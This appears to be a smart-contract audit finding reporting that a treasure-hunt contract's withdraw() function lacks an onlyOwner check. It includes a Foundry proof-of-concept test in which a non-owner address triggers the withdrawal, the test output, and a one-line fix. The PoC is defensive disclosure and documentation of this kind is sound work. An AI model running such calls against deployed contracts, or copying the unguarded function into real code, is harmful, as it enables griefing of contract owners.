Root + Impact
The withdraw() function lacks an onlyOwner modifier,
allowing any address to trigger a withdrawal of all contract
funds.
Description
The withdraw() function is an admin function intended to let the owner recover leftover ETH after all treasures have been claimed. Only the owner should be able to call this function since it controls the timing and execution of fund recovery.
The function is missing an onlyOwner access control check, meaning any external address can call it. While funds are still sent to the owner address, any attacker can forcibly trigger the withdrawal at will once the hunt ends, completely removing the owner's control over timing.
@> function withdraw() external {
require(claimsCount >= MAX_TREASURES, "HUNT_NOT_OVER");
uint256 balance = address(this).balance;
require(balance > 0, "NO_FUNDS_TO_WITHDRAW");
(bool sent, ) = owner.call{value: balance}("");
require(sent, "ETH_TRANSFER_FAILED");
emit Withdrawn(balance, address(this).balance);
}
Risk
Likelihood:
The condition claimsCount >= MAX_TREASURES is publicly readable on-chain, meaning any bot or attacker can monitor and trigger the withdrawal the moment the last treasure is claimed
Impact:
-
The owner permanently loses control over when funds are withdrawn, since any third party can force the transaction at any time after the hunt ends
-
Any griefing attacker or MEV bot can front-run the owner's own withdrawal transaction, causing unexpected fund movement and breaking any owner-side accounting or timing assumptions
Proof of Concept
function testAnyoneCanWithdraw() public {
assert(attacker != owner);
console.log("Attacker address:", attacker);
console.log("Owner address: ", owner);
vm.store(
address(hunt),
bytes32(uint256(2)),
bytes32(uint256(10))
);
assertEq(hunt.getClaimsCount(), 10, "claimsCount should be 10");
console.log("claimsCount set to:", hunt.getClaimsCount());
uint256 ownerBalanceBefore = owner.balance;
uint256 contractBalanceBefore = hunt.getContractBalance();
console.log("Contract balance before:", contractBalanceBefore);
console.log("Owner balance before: ", ownerBalanceBefore);
vm.prank(attacker);
hunt.withdraw();
uint256 ownerBalanceAfter = owner.balance;
uint256 contractBalanceAfter = hunt.getContractBalance();
console.log("Contract balance after:", contractBalanceAfter);
console.log("Owner balance after: ", ownerBalanceAfter);
assertEq(contractBalanceAfter, 0, "Contract should be drained");
assertGt(ownerBalanceAfter, ownerBalanceBefore, "Owner balance increased");
console.log("PROOF: Attacker successfully triggered withdraw()!");
console.log("Attacker was NOT the owner but withdraw() still worked!");
}
The result After running the test:
Ran 1 test for contracts/test/TreasureHunt.t.sol:TreasureHuntTest
[PASS] testAnyoneCanWithdraw() (gas: 28751)
Logs:
Attacker address: 0x0000000000000000000000000000000000000Bad
Owner address: 0x00000000000000000000000000000000DeaDBeef
claimsCount set to: 10
Contract balance before: 100000000000000000000
Owner balance before: 100000000000000000000
Contract balance after: 0
Owner balance after: 200000000000000000000
PROOF: Attacker successfully triggered withdraw()!
Attacker was NOT the owner but withdraw() still worked!
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.84ms (4.82ms CPU time)
Ran 1 test suite in 70.81ms (18.84ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
Add the already-defined onlyOwner modifier to the withdraw() function:
- function withdraw() external {
+ function withdraw() external onlyOwner {
require(claimsCount >= MAX_TREASURES, "HUNT_NOT_OVER");
uint256 balance = address(this).balance;
require(balance > 0, "NO_FUNDS_TO_WITHDRAW");
(bool sent, ) = owner.call{value: balance}("");
require(sent, "ETH_TRANSFER_FAILED");
emit Withdrawn(balance, address(this).balance);
}